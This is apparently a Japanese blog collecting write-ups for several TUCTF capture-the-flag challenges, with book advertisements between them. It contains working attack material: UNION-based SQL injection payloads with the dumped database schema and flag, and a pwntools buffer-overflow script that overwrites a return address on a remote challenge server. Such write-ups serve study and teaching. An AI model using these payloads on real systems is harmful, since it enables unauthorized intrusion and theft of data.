CTF日本語サイト

The Neverending Crypto Level 2

10

Hope you remember 1984, because you are
about to go on a journey.

How many levels can you get to?

Good luck.

nc 146.148.102.236 24069

"------------------------------------------\n"

"You take the book\n"

"This is level 2 the attic\n"

"Round 1. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is nopqrstuvwxyz{|}~ !\"\#$%&'\n"
["n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "{", "|", "}", "~", " ", "!", "\"", "#", "$", "%", "&", "'"]
"What is z||{-puvyq decrypted?\n"

require "socket"

begin

  sock = TCPSocket.open("146.148.102.236", 24069)

rescue

  puts "TCPSocket.open failed : #$!\n"

else

  level = 1

    while sock.gets

      buf = $_

      p buf

      if buf.start_with?("This is level 1") or buf.include?("Correct!") then

        str = "abcdefghijklmnopqrstuvwxy"

        printf(str + "\n")

        sock.write(str + "\n")

        STDOUT.flush

      elsif buf.include?(" encrypted is ") then

        if level == 1 then

          ary = buf.split(" ")

        elsif level == 2 then

          buf = buf[buf.index("encrypted is ") + "encrypted is ".length, str.length]

          ary = buf.split("")

          p ary

        end

        #p ary

      elsif buf.start_with?("What is") then

        ans = ""

        if level == 1 then

          enc = buf.gsub(/\s\s\s/, " _ ").split(" ")

          #p enc

          for e in enc do

            if e == "What" or e == "is" or e == "decrypted?" then

              next

            elsif e == "_" then

              ans = ans + " "

            elsif ary.index(e) then

              ans = ans + str[ary.index(e) - 8].chr

            else

              ans = ans + "z"

            end

          end

        elsif level == 2 then

          buf.slice!("What is ")

          buf.slice!(" decrypted?\n")

          enc = buf.split("")

          p enc

          for e in enc do

            if ary.index(e) then

              ans = ans + str[ary.index(e)].chr

            elsif e == "-" then

              ans = ans + " "

            else

              ans = ans + "z"

            end

          end

        end

        printf(ans + "\n")

        sock.write(ans + "\n")

        STDOUT.flush

      elsif buf.start_with?("Round complete!") then

        level += 1

      else

      end

    end

  sock.close

end

(略)

"------------------------------------------\n"

"You take the book\n"

"This is level 2 the attic\n"

"Round 1. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is nopqrstuvwxyz{|}~ !\"\#$%&'\n"

["n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "{", "|", "}", "~", " ", "!", "\"", "#", "$", "%", "&", "'"]

"What is z||{-puvyq decrypted?\n"

["z", "|", "|", "{", "-", "p", "u", "v", "y", "q"]

moon child

":Correct!\n"

(略)

"Round 50. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is nopqrstuvwxyz{|}~ !\"\#$%&'\n"

["n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "{", "|", "}", "~", " ", "!", "\"", "#", "$", "%", "&", "'"]

"What is %ryp|zr-n\" r'# decrypted?\n"

["%", "r", "y", "p", "|", "z", "r", "-", "n", "\"", " ", "r", "'", "#"]

welcome atreyu

":Correct!\n"

abcdefghijklmnopqrstuvwxy

"Round complete!\n"

"TUCTF{c4n_s0me0ne_turn_a_1ight_0n}\n"

TUCTF{c4n_s0me0ne_turn_a_1ight_0n}

です。

アルファベットはめぐりあわせの暗号学 (言霊数秘学と13魔方陣) [単行本]

岡野 猛

チームセシリア

2016-07-05

The Neverending Crypto Level 1

10

Hope you remember 1984, because you are
about to go on a journey.

How many levels can you get to?

Good luck.

nc 146.148.102.236 24069

------------------------------------------

Welcome to The Neverending Crypto!

Quick, find Falkor and get through this!

This is level 1, the Bookstore

abcdefghijklmnopqrstuvwxy

Round 1. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is .- -... -.-. -.. . ..-. --. .... .. .--- -.- .-.. -- -. --- .--. --.- .-. ... - ..- ...- .-- -..- -.-- 

What is ..   --- .-- .   -.-- --- ..-  decrypted?
 

require "socket"

begin

  sock = TCPSocket.open("146.148.102.236", 24069)

rescue

  puts "TCPSocket.open failed : #$!\n"

else

    while sock.gets

      buf = $_

      printf( buf )

      STDOUT.flush

      if buf.start_with?("This is level 1, the Bookstore") or buf.include?("Correct!") then

        str = "abcdefghijklmnopqrstuvwxy"

        printf(str + "\n")

        sock.write(str + "\n")

        STDOUT.flush

      elsif buf.include?(" encrypted is ") then

        ary = buf.split(" ")

        #p ary

      elsif buf.start_with?("What is") then

        enc = buf.gsub(/\s\s\s/, " _ ").split(" ")

        p enc

        ans = ""

        for e in enc do

          if e == "What" or e == "is" or e == "decrypted?" then

            next

          elsif e == "_" then

            ans = ans + " "

          elsif ary.index(e) then

            ans = ans + str[ary.index(e) - 8].chr

          else

            ans = ans + "z"

          end

        end

        printf(ans + "\n")

        sock.write(ans + "\n")

        STDOUT.flush

      else

      end

    end

  sock.close

end

------------------------------------------

Welcome to The Neverending Crypto!

Quick, find Falkor and get through this!

This is level 1, the Bookstore

abcdefghijklmnopqrstuvwxy

Round 1. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is .- -... -.-. -.. . ..-. --. .... .. .--- -.- .-.. -- -. --- .--. --.- .-. ... - ..- ...- .-- -..- -.-- 

What is ..   --- .-- .   -.-- --- ..-  decrypted?

["What", "is", "..", "_", "---", ".--", ".", "_", "-.--", "---", "..-", "decrypted?"]

i owe you

:Correct!

(略)

abcdefghijklmnopqrstuvwxy

Round 50. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is .- -... -.-. -.. . ..-. --. .... .. .--- -.- .-.. -- -. --- .--. --.- .-. ... - ..- ...- .-- -..- -.-- 

What is --. .. .- -. -   - ..- .-. - .-.. .  decrypted?

["What", "is", "--.", "..", ".-", "-.", "-", "_", "-", "..-", ".-.", "-", ".-..", ".", "decrypted?"]

giant turtle

:Correct!

abcdefghijklmnopqrstuvwxy

Round complete!

TUCTF{i_wi11_n0t_5teal}

------------------------------------------

You take the book

This is level 2 the attic

TUCTF{i_wi11_n0t_5teal}

はじめてのモールス通信: アナログとデジタルのハーモニー (アマチュア無線運用シリーズ) [単行本]

谷口 敦郎

CQ出版

2011-09-01

The nack

100

Our IT staff captured this weird looking transaction.
Can you tell us what it says??

ce6e1a612a1da91648306ace0cf7151e6531abc9.pcapng

00000000  47 4f 41 54 01 47 49 46  38                        GOAT.GIF 8

00000000  47 4f 41 54 01 39 61 4e  02                        GOAT.9aN .

00000000  47 4f 41 54 01 e1 00 a1  00                        GOAT.... .

00000000  47 4f 41 54 01 00 ff ff  ff                        GOAT.... .

00000000  47 4f 41 54 01 00 00 00  ff                        GOAT.... .

47 49 46 GIF

38 39 61 89a

4e 02 幅=590

e1 00 高さ=225

a1 

00 

00 

ff ff ff 00 00 00 ff 

import re

filename = r'ce6e1a612a1da91648306ace0cf7151e6531abc9.pcapng'

with open(filename, 'rb') as f:

data = f.read()

i = 0

with open("aaa.gif", 'wb') as f:

while i >= 0:

i = data.find("GOAT\x01", i+5+4)

f.write(data[i+5:i+5+4])

作成されたファイルを開くと、次のようなアニメーションGIFファイルです。下図は1フレーム目の画像です。


 

フラグは、 

TUCTF{this_transport_layer_is_a_syn}

です。

実践 パケット解析 第2版 ―Wiresharkを使ったトラブルシューティング [大型本]

Chris Sanders

オライリージャパン

2012-11-17

Student Grades

50

We are trying to find out what our grade was, but we don't seem to be in the database...

Can you help us out?

http://104.199.151.39/index.html

<script>

  document.getElementById('submit').addEventListener('click',

    function(event){

      event.preventDefault();

      var input = document.getElementById('info');

      //var query = 'SELECT * from Names where name=\'' + input.value + '\'';

      var inp_str = input.value;

      inp_str = inp_str.replace(/\W+/g, " ");

      var md5_str = md5(inp_str);

      var send_str = inp_str+' '+md5_str;

      var post_data = {name: send_str, submit:1};

      $.ajax({

          type: "POST",

          url: "http://104.199.151.39/postQuery.php",

          data: post_data,

          success: function(data){document.getElementById('results').innerHTML=data;}

      });

    }

  );

</script>

aaa%' union select TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.TABLES;#

8af3dfe6be084a21939a49551f6463a3

<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%aaa%' union select TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.TABLES;#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>information_schema</td><td>CHARACTER_SETS</td></tr>

<tr><td>information_schema</td><td>COLLATIONS</td></tr>

<tr><td>information_schema</td><td>COLLATION_CHARACTER_SET_APPLICABILITY</td></tr>

<tr><td>information_schema</td><td>COLUMNS</td></tr>

<tr><td>information_schema</td><td>COLUMN_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>ENGINES</td></tr>

<tr><td>information_schema</td><td>EVENTS</td></tr>

<tr><td>information_schema</td><td>FILES</td></tr>

<tr><td>information_schema</td><td>GLOBAL_STATUS</td></tr>

<tr><td>information_schema</td><td>GLOBAL_VARIABLES</td></tr>

<tr><td>information_schema</td><td>KEY_COLUMN_USAGE</td></tr>

<tr><td>information_schema</td><td>PARAMETERS</td></tr>

<tr><td>information_schema</td><td>PARTITIONS</td></tr>

<tr><td>information_schema</td><td>PLUGINS</td></tr>

<tr><td>information_schema</td><td>PROCESSLIST</td></tr>

<tr><td>information_schema</td><td>PROFILING</td></tr>

<tr><td>information_schema</td><td>REFERENTIAL_CONSTRAINTS</td></tr>

<tr><td>information_schema</td><td>ROUTINES</td></tr>

<tr><td>information_schema</td><td>SCHEMATA</td></tr>

<tr><td>information_schema</td><td>SCHEMA_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>SESSION_STATUS</td></tr>

<tr><td>information_schema</td><td>SESSION_VARIABLES</td></tr>

<tr><td>information_schema</td><td>STATISTICS</td></tr>

<tr><td>information_schema</td><td>TABLES</td></tr>

<tr><td>information_schema</td><td>TABLESPACES</td></tr>

<tr><td>information_schema</td><td>TABLE_CONSTRAINTS</td></tr>

<tr><td>information_schema</td><td>TABLE_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>TRIGGERS</td></tr>

<tr><td>information_schema</td><td>USER_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>VIEWS</td></tr>

<tr><td>information_schema</td><td>INNODB_BUFFER_PAGE</td></tr>

<tr><td>information_schema</td><td>INNODB_TRX</td></tr>

<tr><td>information_schema</td><td>INNODB_BUFFER_POOL_STATS</td></tr>

<tr><td>information_schema</td><td>INNODB_LOCK_WAITS</td></tr>

<tr><td>information_schema</td><td>INNODB_CMPMEM</td></tr>

<tr><td>information_schema</td><td>INNODB_CMP</td></tr>

<tr><td>information_schema</td><td>INNODB_LOCKS</td></tr>

<tr><td>information_schema</td><td>INNODB_CMPMEM_RESET</td></tr>

<tr><td>information_schema</td><td>INNODB_CMP_RESET</td></tr>

<tr><td>information_schema</td><td>INNODB_BUFFER_PAGE_LRU</td></tr>

<tr><td>tuctf</td><td>tuctf_grades</td></tr>

<tr><td>tuctf</td><td>tuctf_info</td></tr>

<tr><td>tuctf</td><td>tuctf_junk</td></tr>

<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%aaa%' union select TABLE_NAME,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME LIKE 'tuctf_%';#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>tuctf_grades</td><td>name</td></tr>

<tr><td>tuctf_grades</td><td>grade</td></tr>

<tr><td>tuctf_info</td><td>item</td></tr>

<tr><td>tuctf_info</td><td>value</td></tr>

<tr><td>tuctf_junk</td><td>item</td></tr>

<tr><td>tuctf_junk</td><td>owner</td></tr>

<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%aaa%' union select * from tuctf_info;#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>flag</td><td>TUCTF{v4ccinate_y0ur_databa5e5}</td></tr>

TUCTF{v4ccinate_y0ur_databa5e5}

Microsoft .NET Web アプリケーションセキュリティ (インド人著者執筆による日本語翻訳済みIT書籍シリーズ) [単行本]

Vijay Mukhi

イノソフトジャパン

2008-04-01

RE for 50 plz

50

Can you guess the key to this file??

e7453ba07805c6bab5a0b95f57aaeb6e70af76b1

$ file e7453ba07805c6bab5a0b95f57aaeb6e70af76b1 

e7453ba07805c6bab5a0b95f57aaeb6e70af76b1: ELF 32-bit LSB  executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=1d5c00adcd4cbb883fea12bc860f827d023e416f, not stripped

# mips-elf-objdump -s -D e7453ba07805c6bab5a0b95f57aaeb6e70af76b1 > aaa.txt

Contents of section .data:

 4a3710 00000000 00000000 00000000 00000000  ................

 4a3720 63627463 714c5542 43684552 565b5b4e  cbtcqLUBChERV[[N

 4a3730 68405f58 5e445d58 5f595056 5b434a00  h@_X^D]X_YPV[CJ.

  4013cc: 24433720 addiu v1,v0,14112 #0x3720

  4013d0: 8fc20018 lw v0,24(s8)

  4013d4: 00621021 addu v0,v1,v0

  4013d8: 80430000 lb v1,0(v0)

  4013dc: 8fc2002c lw v0,44(s8)

  4013e0: 24420004 addiu v0,v0,4

  4013e4: 8c440000 lw a0,0(v0)

  4013e8: 8fc20018 lw v0,24(s8)

  4013ec: 00821021 addu v0,a0,v0

  4013f0: 80420000 lb v0,0(v0)

  4013f4: 38420037 xori v0,v0,0x37

s = "cbtcqLUBChERV[[Nh@_X^D]X_YPV[CJ"

t = ""

for c in s:

t = t + chr(ord(c) ^ 0x37)

print t

TUCTF{but_really_whoisjohngalt}

熱血！ アセンブラ入門 [Kindle版]

坂井弘亮

秀和システム

2015-06-12

Magic Image

100

We found this png, but it seems to be encrypted...

Can you decrypt it?

6d5e0b3d406ba8f099f3b363b019127839fe6cac.zip

1. flag.pngを開いて全データを読み込み
2. add_pad関数で、データサイズが12の倍数になるようにそろえる
3. 12の倍数に足りない分だけデータの最後に文字を付加する
4. 付加する文字は足りないバイト数をASCIIコードとして文字にしたもの
5. keyファイルを開いて全データ読み込み
6. flag.pngのデータを12バイトずつ7と8の処理を繰り返す
7. flag.pngの12バイトとkeyのxorをとった結果を暗号文とする
8. 暗号文に追加する
9. 暗号文をencrypted.pngファイルに書き出す

89 50 4E 47 0D 0A 1A 0A

8A 6F 2B 52 7B E0 3F B6

00 00 00 0D

2A D3 B5 00

03 3f 65 15 76 ea 25 bc 2a d3 b5 0d

TUCTF{st@llowning_xOR_5ince_Apollo}

はじめての画像処理技術(第2版) [単行本（ソフトカバー）]

岡崎 彰夫

森北出版

2015-12-19

I'm playing!

10

Check out our fancy IRC!

Hint, link to irc: http://webchat.freenode.net/?channels=#TUCTF

15:29 チャンネルに入りました
15:29 *xxxxxx join #TUCTF (~xxxxxx@yyy.zzz)
15:29 *topic : vm_decryption_key: DescendIntoDarkness     A wild string appeared: "TUCTF{Just_A_Test_" + Flag from logo (in caps) + "}"

TUCTF{Just_A_Test_FLAG}

はじめてのモールス通信: アナログとデジタルのハーモニー (アマチュア無線運用シリーズ) [単行本]

谷口 敦郎

CQ出版

2011-09-01

Duckprint

100

See if you can steal the admin's duck print and validate it!

When calculating the SHA, leave the periods in

http://130.211.242.26:31337

$ echo RHVja0R1Y2tHb29zZQ==.eyJ1c2VybmFtZSI6IkR1Y2tEdWNrR29vc2UiLCJhZG1pbiI6MX0=.ZDRya3cxbmc= | sha256sum
609707407e907abb347906ce024de604effee09cdcc613ca5cea023796d1733c

TUCTF{Quacky_McQuackerface}

基本がわかる安全設計のWebシステム [単行本]

倉持 浩明

日経BP社

2015-07-18

bby’s first elf

25

Try find the flag. Challenge is hosted at 146.148.95.248:2525

3d726802521a9ce2b24e2c3baf039915e48ad056

fileコマンドでファイルタイプを確認します。Linuxの32bitバイナリです。

$ file 3d726802521a9ce2b24e2c3baf039915e48ad056
3d726802521a9ce2b24e2c3baf039915e48ad056: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=3fb9014d549efe4ce761146b736590eb9f7e281d, not stripped

実行してみると、次のように入力を求められます。23文字までは問題なく、24文字入力するとバッファオーバーフローが起こるようです。

$ ./3d726802521a9ce2b24e2c3baf039915e48ad056
This program is hungry. You should feed it.
12345678901234567890123
Do you feel the flow?
$ ./3d726802521a9ce2b24e2c3baf039915e48ad056
This program is hungry. You should feed it.
123456789012345678901234
Do you feel the flow?
Segmentation fault (コアダンプ)

objdumpコマンドで逆アセンブルして動作を解析します。

$ objdump -s -D 3d726802521a9ce2b24e2c3baf039915e48ad056 > aaa.txt

アドレス0804856dにprintFlag関数がありますが、どこからも呼び出されていません。flag.txtをオープンしているので、この関数を呼び出すことができればフラグを取得することが出来そうです。

0804856d <printFlag>:
 804856d:    55                       push   %ebp
 804856e:    89 e5                    mov    %esp,%ebp
 8048570:    83 ec 58                 sub    $0x58,%esp
 8048573:    c7 44 24 04 a0 86 04     movl   $0x80486a0,0x4(%esp)      #r
 804857a:    08
 804857b:    c7 04 24 a2 86 04 08     movl   $0x80486a2,(%esp)            #flag.txt
 8048582:    e8 c9 fe ff ff           call   8048450 <fopen@plt>

mainのscanfにバッファオーバーフローがあるので、ここで24バイトの格納領域の後ろにある戻り先のアドレスを上書きします。

080485c9 <main>:
 80485c9:    55                       push   %ebp                                #esp-4
 80485ca:    89 e5                    mov    %esp,%ebp
 80485cc:    83 e4 f0                 and    $0xfffffff0,%esp               #espの下位4bitが0になる(-8)
 80485cf:    83 ec 20                 sub    $0x20,%esp                    #esp-32
 80485d2:    c7 04 24 ac 86 04 08     movl   $0x80486ac,(%esp)   #This program ...
 80485d9:    e8 42 fe ff ff           call   8048420 <puts@plt>
 80485de:    8d 44 24 14              lea    0x14(%esp),%eax        #eax=esp+20
 80485e2:    89 44 24 04              mov    %eax,0x4(%esp)        #入力データ格納先(-4-8-32+20=-24。24バイト分)
 80485e6:    c7 04 24 d8 86 04 08     movl   $0x80486d8,(%esp)  #%d
 80485ed:    e8 6e fe ff ff           call   8048460 <__isoc99_scanf@plt>
 80485f2:    c7 04 24 db 86 04 08     movl   $0x80486db,(%esp)   #Do you feel ...
 80485f9:    e8 22 fe ff ff           call   8048420 <puts@plt>
 80485fe:    b8 00 00 00 00           mov    $0x0,%eax
 8048603:    c9                       leave 
 8048604:    c3                       ret      #ここでの戻り先のアドレスを0804856d <printFlag>:にする

バッファオーバーフローを起こすプログラムをPythonで書きます。

#!/usr/bin/env python2
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./3d726802521a9ce2b24e2c3baf039915e48ad056')
else:
    p = remote('146.148.95.248', 2525)

p.sendline(
    'A' * 24
    + p32(0x0804856d)        #0804856d <printFlag>
    )
time.sleep(0.1)
p.recvall()

実行すると、次のようになります。

$ python aaa.py
[+] Opening connection to 146.148.95.248 on port 2525: Done
[DEBUG] Sent 0x1d bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  6d 85 04 08  0a           │AAAA│AAAA│m???│?│
    0000001d
[+] Recieving all data: Done (102B)
[DEBUG] Received 0x66 bytes:
    'This program is hungry. You should feed it.\n'
    'Do you feel the flow?\n'
    'TUCTF{jumping_all_around_dem_elfs}\n'
    '\n'
[*] Closed connection to 146.148.95.248 port 2525

フラグは、

TUCTF{jumping_all_around_dem_elfs}

です。

stackoverflowの見方 [Kindle版]

中西伸吾

2014-12-03